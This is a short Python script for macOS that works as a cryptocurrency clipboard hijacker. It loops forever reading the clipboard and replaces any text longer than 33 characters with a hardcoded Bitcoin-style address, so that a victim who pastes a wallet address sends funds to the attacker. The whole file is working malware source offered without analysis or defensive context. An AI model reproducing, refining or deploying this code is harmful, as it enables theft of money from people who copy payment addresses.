#!/usr/bin/env python
import subprocess

destanation_address = b'37PXV2vCFbmL1MmhjuB4s9x22HB4MbaJaL'


def get_clipboard():
	p = subprocess.Popen(['pbpaste'], stdout=subprocess.PIPE)
	data =str(p.stdout.read())
	if len(data) > 33:
		swap_address(data)


def swap_address(data):
	p = subprocess.Popen(['pbcopy'], stdin=subprocess.PIPE)
	p.stdin.write(destanation_address)
	p.stdin.close()

while True:
	get_clipboard()
